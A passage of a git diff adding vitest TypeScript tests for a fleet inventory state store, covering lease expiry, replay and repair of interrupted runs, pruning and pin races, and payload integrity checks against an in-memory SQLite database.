operationId: OPERATION_ID, + expectedRevision: 1, + manifest: countsOf(DEFAULT_ROWS), + factCount: DEFAULT_FACTS.length, + }); + expect(inventoryState(db)).toEqual(before); + expect(ref.generation).toBe(1); + }); + }); +}); + +describe('inventory lifecycle replay selection', () => { + it('repairs failure replay after lease expiry between the failed run and head clear', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const staged = await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + return lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + }); + const input = { + operationId: OPERATION_ID, + expectedRevision: staged.progress.revision, + reason: 'operator-abandoned', + } as const; + db.beforeStatement = (index) => { + if (index === 1) + db.sqlite + .prepare('UPDATE anchorage_fleet_inventory_leases SET expires_at = 0') + .all(); + }; + const interrupted = await store + .withAccountInventoryLease((lease) => lease.failRun(input)) + .catch((error: unknown) => error); + expect(await store.readRunByOperation(OPERATION_ID)).toEqual({ + ...staged, + state: 'failed', + }); + expect( + db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(), + ).toEqual([ + { + account_id: 'account-primary', + active_operation_id: OPERATION_ID, + latest_finalized_generation: null, + next_generation: 2, + }, + ]); + expect(interrupted).toEqual( + new Error( + "fleet inventory for account 'account-primary' lease is no longer owned by this operation", + ), + ); + + const beforeRepair = inventoryState(db); + const stale = await store + .withAccountInventoryLease((lease) => + lease.failRun({ ...input, expectedRevision: 0 }), + ) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(beforeRepair); + expect(stale).toEqual( + new Error( + `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`, + ), + ); + await store.withAccountInventoryLease((lease) => lease.failRun(input)); + expect( + db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(), + ).toEqual([ + { + account_id: 'account-primary', + active_operation_id: null, + latest_finalized_generation: null, + next_generation: 2, + }, + ]); + expect(await store.readRunByOperation(OPERATION_ID)).toEqual({ + ...staged, + state: 'failed', + }); + expect(await seedGeneration(store, SECOND_OPERATION_ID)).toBe(2); + await store.withAccountInventoryLease(async (lease) => { + expect((await start(lease, THIRD_OPERATION_ID)).progress.generation).toBe( + 3, + ); + const beforeReplay = inventoryState(db); + await lease.failRun(input); + expect(inventoryState(db)).toEqual(beforeReplay); + }); + }); + + it.each([ + 'original', + 'stale', + 'fallback', + 'start', + ] as const)('repairs coordinator finalization interrupted by lease expiry through the %s retry path', async (retry) => { + const db = new MemoryD1(); + const store = newStore(db); + const advanceStage = vi.fn( + async () => ({ + rows: [], + facts: [], + nextStage: { step: 'finalize' }, + providerRequests: 0, + diagnostics: [], + }), + ); + const options = { + context: { advanceStage }, + store, + maxProviderRequests: 9, + }; + const startAction = { + kind: 'start', + operationId: OPERATION_ID, + options: OPTIONS, + } as const; + const pending = await advanceFleetInventory({ + ...options, + action: startAction, + }); + expect(pending.status).toBe('pending'); + const staged = await store.readRunByOperation(OPERATION_ID); + db.beforeStatement = (index) => { + if (index === 1) + db.sqlite + .prepare('UPDATE anchorage_fleet_inventory_leases SET expires_at = 0') + .all(); + }; + const interrupted = await advanceFleetInventory({ + ...options, + action: { kind: 'continue', token: pending.token }, + }).catch((error: unknown) => error); + const finalized = { ...staged, state: 'finalized' }; + expect(await store.readRunByOperation(OPERATION_ID)).toEqual(finalized); + expect( + db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(), + ).toEqual([ + { + account_id: 'account-primary', + active_operation_id: OPERATION_ID, + latest_finalized_generation: null, + next_generation: 2, + }, + ]); + expect(interrupted).toEqual( + new Error( + "fleet inventory for account 'account-primary' lease is no longer owned by this operation", + ), + ); + if (retry === 'fallback') { + const withLease = store.withAccountInventoryLease.bind(store); + vi.spyOn(store, 'withAccountInventoryLease').mockImplementation( + (operation) => + withLease((lease) => + operation({ ...lease, readRun: async () => undefined }), + ), + ); + } + const action = + retry === 'start' + ? startAction + : ({ + kind: 'continue', + token: { + ...pending.token, + revision: retry === 'stale' ? 0 : pending.token.revision, + }, + } as const); + const repaired = await advanceFleetInventory({ ...options, action }).catch( + (error: unknown) => error, + ); + expect( + db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(), + ).toEqual([ + { + account_id: 'account-primary', + active_operation_id: null, + latest_finalized_generation: 1, + next_generation: 2, + }, + ]); + expect(await store.readRunByOperation(OPERATION_ID)).toEqual(finalized); + const first = (await store.readFinalizedGeneration(1)).ref; + expect(repaired).toEqual({ + status: 'complete', + token: pending.token, + generation: first, + }); + expect(advanceStage).toHaveBeenCalledTimes(1); + + expect(await seedGeneration(store, SECOND_OPERATION_ID)).toBe(2); + await store.withAccountInventoryLease((lease) => + start(lease, THIRD_OPERATION_ID), + ); + const beforeUnpinned = inventoryState(db); + const unpinned = await advanceFleetInventory({ ...options, action }).catch( + (error: unknown) => error, + ); + expect(inventoryState(db)).toEqual(beforeUnpinned); + expect(unpinned).toEqual( + new Error( + 'fleet inventory generation 1 requires a pin before it can be read', + ), + ); + await store.pinGeneration({ generation: 1, pinnedBy: 'historical-reader' }); + const beforePinned = inventoryState(db); + const pinned = await advanceFleetInventory({ ...options, action }); + expect(inventoryState(db)).toEqual(beforePinned); + expect(pinned).toEqual(repaired); + expect(advanceStage).toHaveBeenCalledTimes(1); + }); + + it.each([ + 'revision', + 'row manifest', + 'fact manifest', + ] as const)('refuses a finalized replay with a different %s', async (field) => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + const before = inventoryState(db); + const result = await store + .withAccountInventoryLease((lease) => + lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: field === 'revision' ? 0 : 1, + manifest: + field === 'row manifest' + ? emptyFleetInventoryRowCounts() + : countsOf(DEFAULT_ROWS), + factCount: field === 'fact manifest' ? 0 : DEFAULT_FACTS.length, + }), + ) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toEqual( + new Error( + field === 'revision' + ? `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision` + : `fleet inventory run '${OPERATION_ID}' finalize manifest disagrees with the persisted run record`, + ), + ); + }); + + it('accepts exact failure replay and refuses a different expected revision', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + const input = { + operationId: OPERATION_ID, + expectedRevision: 1, + reason: 'operator-abandoned', + } as const; + await lease.failRun(input); + const before = inventoryState(db); + await lease.failRun(input); + expect(inventoryState(db)).toEqual(before); + const result = await lease + .failRun({ ...input, expectedRevision: 0 }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toEqual( + new Error( + `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`, + ), + ); + }); + }); +}); + +describe('inventory chunk storage boundaries', () => { + it('propagates a database failure without changing durable state', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const before = inventoryState(db); + const unavailable = new Error('database unavailable'); + db.beforeBatch = () => { + throw unavailable; + }; + const result = await lease + .commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toBe(unavailable); + }); + }); + + it('retains earlier inserts when the lease expires before progress and permits exact recovery', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const expiry = db.sqlite + .prepare('SELECT expires_at FROM anchorage_fleet_inventory_leases') + .all()[0]?.expires_at; + db.beforeStatement = (index) => { + if (index === 1) + db.sqlite + .prepare( + 'UPDATE anchorage_fleet_inventory_leases SET expires_at = 0', + ) + .all(); + }; + const input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }; + const result = await lease + .commitChunk(input) + .catch((error: unknown) => error); + db.sqlite + .prepare('UPDATE anchorage_fleet_inventory_leases SET expires_at = ?') + .all(expiry); + expect(await store.readRunByOperation(OPERATION_ID)).toEqual(started); + expect( + db.sqlite + .prepare( + 'SELECT kind, ordinal, payload FROM anchorage_fleet_inventory_rows', + ) + .all(), + ).toEqual([ + { + kind: 'registration', + ordinal: 0, + payload: JSON.stringify(DEFAULT_ROWS[0]?.payload), + }, + ]); + expect( + db.sqlite + .prepare('SELECT * FROM anchorage_fleet_inventory_deployment_facts') + .all(), + ).toEqual([]); + expect(result).toEqual( + new Error( + `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`, + ), + ); + expect(await lease.commitChunk(input)).toEqual(input.runRecord); + expect( + await lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + manifest: input.runRecord.progress.stagedCounts, + factCount: input.runRecord.progress.factCount, + }), + ).toMatchObject({ generation: 1 }); + }); + }); + + it('commits and replays a 2000-entry mixed chunk without combining payloads', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const rows = Array.from({ length: 1000 }, (_, ordinal) => + stagedRow('meta', ordinal, { name: `row-${ordinal}` }), + ); + const facts = Array.from({ length: 1000 }, (_, ordinal) => + stagedFact(ordinal, 0), + ); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, rows, facts), + rows, + facts, + }; + db.hideBatchResults = true; + expect(await lease.commitChunk(input)).toEqual(input.runRecord); + expect(await lease.commitChunk(input)).toEqual(input.runRecord); + expect( + await lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + manifest: input.runRecord.progress.stagedCounts, + factCount: facts.length, + }), + ).toMatchObject({ generation: 1 }); + }); + const generation = await store.readFinalizedGeneration(1); + expect(generation.rows).toEqual(rows); + expect(generation.facts).toEqual(facts); + }); +}); + +describe('inventory target recovery controls', () => { + it('isolates equal row and fact ordinals in different accounts and generations', async () => { + const db = new MemoryD1(); + const primary = newStore(db); + const secondary = newStore(db, 'account-secondary'); + const first = await seedGeneration(primary); + const differentRows = [ + stagedRow('registration', 0, { scriptName: 'different' }), + ]; + const differentFacts = [ + { ...stagedFact(0, 0), payload: { name: 'different' } }, + ]; + const foreign = await seedGeneration( + secondary, + SECOND_OPERATION_ID, + differentRows, + differentFacts, + ); + const next = await seedGeneration( + primary, + THIRD_OPERATION_ID, + differentRows, + differentFacts, + ); + await primary.pinGeneration({ generation: first, pinnedBy: 'reader' }); + expect((await primary.readFinalizedGeneration(first)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + expect((await primary.readFinalizedGeneration(first)).facts).toEqual( + DEFAULT_FACTS, + ); + expect((await secondary.readFinalizedGeneration(foreign)).rows).toEqual( + differentRows, + ); + expect((await secondary.readFinalizedGeneration(foreign)).facts).toEqual( + differentFacts, + ); + expect((await primary.readFinalizedGeneration(next)).rows).toEqual( + differentRows, + ); + expect((await primary.readFinalizedGeneration(next)).facts).toEqual( + differentFacts, + ); + }); + + it('repairs an interrupted finalize head for the same operation', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + db.sqlite + .prepare( + 'UPDATE anchorage_fleet_inventory_heads SET latest_finalized_generation = NULL, active_operation_id = ?', + ) + .all(OPERATION_ID); + const record = await store.readRunByOperation(OPERATION_ID); + const ref = await store.withAccountInventoryLease((lease) => + lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + manifest: countsOf(DEFAULT_ROWS), + factCount: DEFAULT_FACTS.length, + }), + ); + expect(await store.readRunByOperation(OPERATION_ID)).toEqual(record); + expect(await store.latestFinalizedGeneration()).toEqual(ref); + expect( + db.sqlite + .prepare( + 'SELECT active_operation_id FROM anchorage_fleet_inventory_heads', + ) + .all(), + ).toEqual([{ active_operation_id: null }]); + }); +}); + +describe('inventory start input integrity', () => { + it.each([ + 'absent', + 'finalized', + ] as const)('rolls back a cross-account start operation-ID collision when the loser head is %s', async (head) => { + const db = new MemoryD1(); + const primary = newStore(db); + const secondary = newStore(db, 'account-secondary'); + await primary.withAccountInventoryLease((lease) => start(lease)); + if (head === 'finalized') + await seedGeneration(secondary, SECOND_OPERATION_ID); + const before = inventoryState(db); + const collision = await secondary + .withAccountInventoryLease((lease) => start(lease)) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(await secondary.readRunByOperation(OPERATION_ID)).toBeUndefined(); + expect(collision).toBeInstanceOf(Error); + expect((collision as Error).message).toMatch(/UNIQUE constraint failed/); + const fresh = await secondary.withAccountInventoryLease((lease) => + start(lease, THIRD_OPERATION_ID), + ); + expect(fresh.progress.generation).toBe(head === 'finalized' ? 2 : 1); + expect(await secondary.readRunByOperation(THIRD_OPERATION_ID)).toEqual( + fresh, + ); + }); + + it('rolls back the loser of concurrent cross-account starts with the same operation ID', async () => { + const db = new MemoryD1(); + const stores = [newStore(db), newStore(db, 'account-secondary')]; + await Promise.all(stores.map((store) => store.latestFinalizedGeneration())); + const results = await Promise.allSettled( + stores.map((store) => + store.withAccountInventoryLease((lease) => start(lease)), + ), + ); + const loserIndex = results.findIndex( + (result) => result.status === 'rejected', + ); + const loser = stores[loserIndex]; + if (!loser) throw new Error('concurrent starts did not select a loser'); + const loserAccount = + loserIndex === 0 ? 'account-primary' : 'account-secondary'; + expect( + db.sqlite + .prepare( + 'SELECT * FROM anchorage_fleet_inventory_heads WHERE account_id = ?', + ) + .all(loserAccount), + ).toEqual([]); + expect(await loser.readRunByOperation(OPERATION_ID)).toBeUndefined(); + expect( + db.sqlite + .prepare( + 'SELECT account_id, generation FROM anchorage_fleet_inventory_runs', + ) + .all(), + ).toEqual([ + { + account_id: loserIndex === 0 ? 'account-secondary' : 'account-primary', + generation: 1, + }, + ]); + expect( + results.filter((result) => result.status === 'fulfilled'), + ).toHaveLength(1); + const collision = results[loserIndex]; + expect(collision).toMatchObject({ + status: 'rejected', + reason: expect.any(Error), + }); + if (collision?.status !== 'rejected') + throw new Error('collision unexpectedly resolved'); + expect((collision.reason as Error).message).toMatch( + /UNIQUE constraint failed/, + ); + const fresh = await loser.withAccountInventoryLease((lease) => + start(lease, SECOND_OPERATION_ID), + ); + expect(fresh.progress.generation).toBe(1); + expect(await loser.readRunByOperation(SECOND_OPERATION_ID)).toEqual(fresh); + }); + + it.each([ + { + label: 'operation id', + operationId: 'not-an-operation-id', + optionsDigest: DIGEST, + }, + { + label: 'options digest', + operationId: OPERATION_ID, + optionsDigest: OTHER_DIGEST, + }, + ])('refuses invalid $label before persisting a run or claiming its head', async ({ + operationId, + optionsDigest, + }) => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const before = inventoryState(db); + let caught: unknown; + try { + await lease.startRun({ operationId, options: OPTIONS, optionsDigest }); + } catch (error) { + caught = error; + } + expect(inventoryState(db)).toEqual(before); + expect(caught).toBeInstanceOf(FleetInventoryStateError); + }); + }); +}); + +describe('inventory pruning preserves terminal recovery', () => { + it.each([ + 'failed', + 'finalized', + ] as const)('retains an active %s generation until exact head repair', async (terminal) => { + const db = new MemoryD1(); + const store = newStore(db); + let staged: FleetInventoryRunRecord | undefined; + const interrupted = await store + .withAccountInventoryLease(async (lease) => { + const started = await start(lease); + staged = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + db.beforeStatement = (index) => { + if (index === 1) + db.sqlite + .prepare( + 'UPDATE anchorage_fleet_inventory_leases SET expires_at = 0', + ) + .all(); + }; + if (terminal === 'failed') + await lease.failRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + reason: 'operator-abandoned', + }); + else + await lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + manifest: staged.progress.stagedCounts, + factCount: staged.progress.factCount, + }); + }) + .catch((error: unknown) => error); + expect(interrupted).toBeInstanceOf(Error); + expect((await store.readRunByOperation(OPERATION_ID))?.state).toBe( + terminal, + ); + const before = inventoryState(db); + const pruned = await store.pruneInventoryGenerations({ limit: 1 }); + expect(inventoryState(db)).toEqual(before); + expect(pruned).toEqual({ deleted: 0 }); + const intended = staged; + if (!intended) throw new Error('inventory fixture did not stage its rows'); + await store.withAccountInventoryLease(async (lease) => { + if (terminal === 'failed') + await lease.failRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + reason: 'operator-abandoned', + }); + else + await lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + manifest: intended.progress.stagedCounts, + factCount: intended.progress.factCount, + }); + }); + expect(await seedGeneration(store, SECOND_OPERATION_ID)).toBe(2); + await store.withAccountInventoryLease((lease) => + start(lease, THIRD_OPERATION_ID), + ); + expect(await store.pruneInventoryGenerations({ limit: 1 })).toEqual({ + deleted: 1, + }); + expect(await store.readRunByOperation(OPERATION_ID)).toBeUndefined(); + expect((await store.readFinalizedGeneration(2)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + expect( + db.sqlite + .prepare( + 'SELECT active_operation_id, latest_finalized_generation, next_generation FROM anchorage_fleet_inventory_heads', + ) + .all(), + ).toEqual([ + { + active_operation_id: THIRD_OPERATION_ID, + latest_finalized_generation: 2, + next_generation: 4, + }, + ]); + }); + + it('rechecks active ownership in the row, fact and run delete batch', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + await lease.failRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + reason: 'operator-abandoned', + }); + }); + let promoted: unknown; + db.beforeBatch = () => { + db.sqlite + .prepare( + 'UPDATE anchorage_fleet_inventory_heads SET active_operation_id = ?', + ) + .all(OPERATION_ID); + promoted = inventoryState(db); + }; + const result = await store.pruneInventoryGenerations({ limit: 1 }); + expect(promoted).toBeDefined(); + expect(inventoryState(db)).toEqual(promoted); + expect(result).toEqual({ deleted: 0 }); + }); +}); + +describe('inventory pin admission and concurrent reclamation', () => { + it('refuses a pin when concurrent pruning wins without leaving an orphan pin', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + await seedGeneration(store, SECOND_OPERATION_ID); + const outcomes = await store.withAccountInventoryLease((lease) => + Promise.allSettled([ + lease.pruneInventoryGenerations({ limit: 1 }), + lease.pinGeneration({ generation: 1, pinnedBy: 'reader' }), + ]), + ); + expect(await store.readRunByOperation(OPERATION_ID)).toBeUndefined(); + expect( + db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_pins').all(), + ).toEqual([]); + expect(outcomes[0]).toEqual({ status: 'fulfilled', value: { deleted: 1 } }); + expect(outcomes[1]).toEqual({ + status: 'rejected', + reason: new Error('fleet inventory generation 1 is not finalized'), + }); + expect((await store.readFinalizedGeneration(2)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + }); + + it('preserves a generation pinned after pruning selected it', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + await seedGeneration(store, SECOND_OPERATION_ID); + const selected = deferred(); + const release = deferred(); + const query = db.query.bind(db); + db.query = async (sql, bindings) => { + const result = await query(sql, bindings); + if (sql.includes('ORDER BY r.generation ASC')) { + selected.resolve(); + await release.promise; + } + return result; + }; + await store.withAccountInventoryLease(async (lease) => { + const pruning = lease.pruneInventoryGenerations({ limit: 1 }); + try { + expect( + await Promise.race([ + selected.promise.then(() => true), + pruning.then(() => false), + ]), + ).toBe(true); + await lease.pinGeneration({ generation: 1, pinnedBy: 'reader' }); + } finally { + release.resolve(); + } + expect(await pruning).toEqual({ deleted: 0 }); + }); + expect( + db.sqlite + .prepare( + 'SELECT generation, pinned_by FROM anchorage_fleet_inventory_pins', + ) + .all(), + ).toEqual([{ generation: 1, pinned_by: 'reader' }]); + expect((await store.readFinalizedGeneration(1)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + expect((await store.readFinalizedGeneration(1)).facts).toEqual( + DEFAULT_FACTS, + ); + }); +}); + +describe('inventory retained payload availability', () => { + it.each([ + 1, 2, + ])('refuses a pin after reclamation expires at payload boundary %s and lets cleanup finish', async (boundary) => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + await seedGeneration(store, SECOND_OPERATION_ID); + db.beforeStatement = (index) => { + if (index === boundary) + db.sqlite + .prepare('UPDATE anchorage_fleet_inventory_leases SET expires_at = 0') + .all(); + }; + const interrupted = await store + .pruneInventoryGenerations({ limit: 1 }) + .catch((error: unknown) => error); + expect((await store.readRunByOperation(OPERATION_ID))?.state).toBe( + 'finalized', + ); + expect( + db.sqlite + .prepare( + 'SELECT * FROM anchorage_fleet_inventory_rows WHERE generation = 1', + ) + .all(), + ).toEqual([]); + expect( + db.sqlite + .prepare( + 'SELECT * FROM anchorage_fleet_inventory_deployment_facts WHERE generation = 1', + ) + .all(), + ).toHaveLength(boundary === 1 ? DEFAULT_FACTS.length : 0); + expect(interrupted).toBeInstanceOf(Error); + const partial = inventoryState(db); + const pin = await store + .pinGeneration({ generation: 1, pinnedBy: 'reader' }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(partial); + expect( + db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_pins').all(), + ).toEqual([]); + expect(pin).toEqual(new Error('fleet inventory generation 1 is corrupt')); + expect(await store.pruneInventoryGenerations({ limit: 1 })).toEqual({ + deleted: 1, + }); + expect(await store.readRunByOperation(OPERATION_ID)).toBeUndefined(); + expect((await store.readFinalizedGeneration(2)).rows).toEqual( + DEFAULT_ROWS_READ_ORDER, + ); + expect((await store.readFinalizedGeneration(2)).facts).toEqual( + DEFAULT_FACTS, + ); + }); + + it('checks payload availability in the pin write after a complete preflight', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + await seedGeneration(store, SECOND_OPERATION_ID); + let partial: unknown; + db.beforeBatch = () => { + db.sqlite + .prepare( + 'DELETE FROM anchorage_fleet_inventory_rows WHERE generation = 1', + ) + .all(); + partial = inventoryState(db); + }; + const pin = await store + .pinGeneration({ generation: 1, pinnedBy: 'reader' }) + .catch((error: unknown) => error); + expect(partial).toBeDefined(); + expect(inventoryState(db)).toEqual(partial); + expect(pin).toEqual(new Error('fleet inventory generation 1 is corrupt')); + }); + + it('refuses finalization with gapped row ordinals and accepts the completed prefix', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const rows = [ + stagedRow('registration', 0, { scriptName: 'first-script' }), + stagedRow('registration', 2, { scriptName: 'third-script' }), + ]; + const current = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, rows, []), + rows, + facts: [], + }); + const before = inventoryState(db); + const final = await lease + .finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + manifest: current.progress.stagedCounts, + factCount: 0, + }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(final).toEqual( + new Error( + `fleet inventory run '${OPERATION_ID}' does not match its finalize manifest`, + ), + ); + const missing = stagedRow('registration', 1, { + scriptName: 'second-script', + }); + const complete = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 1, + runRecord: committed(current, [...rows, missing], []), + rows: [missing], + facts: [], + }); + await lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 2, + manifest: complete.progress.stagedCounts, + factCount: 0, + }); + }); + expect( + (await store.readFinalizedGeneration(1)).rows.map((row) => row.ordinal), + ).toEqual([0, 1, 2]); + }); +}); + +it('refuses an existing pin over payloads made unreadable before this call', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + await seedGeneration(store, SECOND_OPERATION_ID); + await db.execute( + "UPDATE anchorage_fleet_inventory_rows SET ordinal = 1 WHERE generation = 1 AND kind = 'registration'", + ); + await db.execute( + 'INSERT INTO anchorage_fleet_inventory_pins (account_id, generation, pinned_by, pinned_at_ms) VALUES (?, 1, ?, 0)', + ['account-primary', 'reader'], + ); + const before = inventoryState(db); + const pin = await store + .pinGeneration({ generation: 1, pinnedBy: 'reader' }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(pin).toEqual(new Error('fleet inventory generation 1 is corrupt')); + await store.releasePin({ generation: 1, pinnedBy: 'reader' }); + expect(await store.pruneInventoryGenerations({ limit: 1 })).toEqual({ + deleted: 1, + }); +}); diff --git a/packages/fleet-control/test/fleet-inventory-state.test.ts b/packages/fleet-control/test/fleet-inventory-state.test.ts index da31a0c5..eedd26a4 100644 --- a/packages/fleet-control/test/fleet-inventory-state.test.ts +++ b/packages/fleet-control/test/fleet-inventory-state.test.ts @@ -7,6 +7,7 @@ import { canonicalFleetInventoryRunOptions, classifyFleetInventoryRunToken, emptyFleetInventoryRowCounts, + FLEET_INVENTORY_STAGE_ORDER, FleetInventoryFindingValueError, type FleetInventoryRunOptions, type FleetInventoryRunRecord, @@ -415,7 +416,12 @@ describe('fleet inventory state', () => { }); const visited: string[] = []; let stage = initialFleetInventoryStage(withoutKv); - while (stage.step !== 'finalize') { + for (let step = 0; stage.step !== 'finalize'; step += 1) { + if (step >= FLEET_INVENTORY_STAGE_ORDER.length) { + throw new Error( + `nextStage did not reach 'finalize' within ${FLEET_INVENTORY_STAGE_ORDER.length} successors: stage=${JSON.stringify(stage)}, visited=${JSON.stringify(visited)}`, + ); + } visited.push(stage.step); stage = nextStage(stage, withoutKv, counts); } diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index 8924b324..ce86b79d 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -6,6 +6,13 @@ import { type TestHarness, type WorkerHandle, } from 'wrangler'; +import type { FleetInventoryAdvanceResult } from '../src/fleet-inventory-advance.js'; +import { + type FleetInventoryRunRecord, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + fleetInventoryOptionsDigest, +} from '../src/fleet-inventory-state.js'; const ROOT = new URL('..', import.meta.url).pathname; const PROBE = new URL( @@ -19,6 +26,57 @@ interface ProbeError { readonly errors?: readonly ProbeError[]; } +interface InventorySnapshot { + heads: Array<{ + account_id: string; + active_operation_id: string | null; + latest_finalized_generation: number | null; + next_generation: number; + }>; + runs: Array<{ + account_id: string; + operation_id: string; + generation: number; + options_digest: string; + run_record: string; + created_at_ms: number; + finalized_at_ms: number | null; + }>; + rows: Array<{ + account_id: string; + generation: number; + kind: string; + ordinal: number; + payload: string; + }>; + facts: Array<{ + account_id: string; + generation: number; + deployment_ordinal: number; + fact_kind: string; + fact_ordinal: number; + payload: string; + }>; +} + +interface InventoryCommitRefusalProbe { + prior: FleetInventoryRunRecord; + intended: FleetInventoryRunRecord; + attempted: { + runRecord: FleetInventoryRunRecord; + rows: FleetInventoryStagedRow[]; + facts: FleetInventoryStagedFact[]; + }; + before: InventorySnapshot; + afterRefusal: InventorySnapshot; + refused: ProbeError | null; + accepted: FleetInventoryRunRecord | null; + acceptanceError: ProbeError | null; + afterAcceptance: InventorySnapshot; + replay: FleetInventoryRunRecord | null; + afterReplay: InventorySnapshot; +} + interface OperationSnapshot { revision: number | null; record: string | null; @@ -114,6 +172,87 @@ interface BoundedDecommissionProbe { const INVENTORY_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174200'; +function expectInventorySeed( + snapshot: InventorySnapshot, + record: FleetInventoryRunRecord, +) { + expect(record).toMatchObject({ + state: 'staging', + options: { scriptNamePrefix: 'anchorage' }, + progress: { generation: 1, revision: 1, factCount: 1 }, + }); + expect(snapshot.runs).toEqual([ + { + account_id: 'account-inventory', + operation_id: record.operationId, + generation: 1, + options_digest: fleetInventoryOptionsDigest(record.options), + run_record: JSON.stringify(record), + created_at_ms: expect.any(Number), + finalized_at_ms: null, + }, + ]); + expect(snapshot.rows).toEqual( + ['deployment', 'finding', 'registration'].map((kind) => ({ + account_id: 'account-inventory', + generation: 1, + kind, + ordinal: 0, + payload: JSON.stringify( + kind === 'finding' + ? { detail: 'stale route prior' } + : { scriptName: 'prior' }, + ), + })), + ); + expect(snapshot.facts).toEqual([ + { + account_id: 'account-inventory', + generation: 1, + deployment_ordinal: 0, + fact_kind: 'secret-name', + fact_ordinal: 0, + payload: JSON.stringify({ name: 'ANCHORAGE_NAME_0' }), + }, + ]); +} + +function expectInventoryRefusalAndReplay(result: InventoryCommitRefusalProbe) { + expectInventorySeed(result.before, result.prior); + expect(result.afterRefusal).toEqual(result.before); + expect(result.intended.progress.revision).toBe(2); + expect(result.afterAcceptance.runs).toEqual([ + { ...result.before.runs[0], run_record: JSON.stringify(result.intended) }, + ]); + expect(result.afterAcceptance.rows).toEqual([ + result.before.rows[0], + result.before.rows[1], + { + account_id: 'account-inventory', + generation: 1, + kind: 'meta', + ordinal: 0, + payload: JSON.stringify({ marker: 'earlier-sibling' }), + }, + result.before.rows[2], + ]); + expect(result.afterAcceptance.facts).toEqual([ + ...result.before.facts, + { + account_id: 'account-inventory', + generation: 1, + 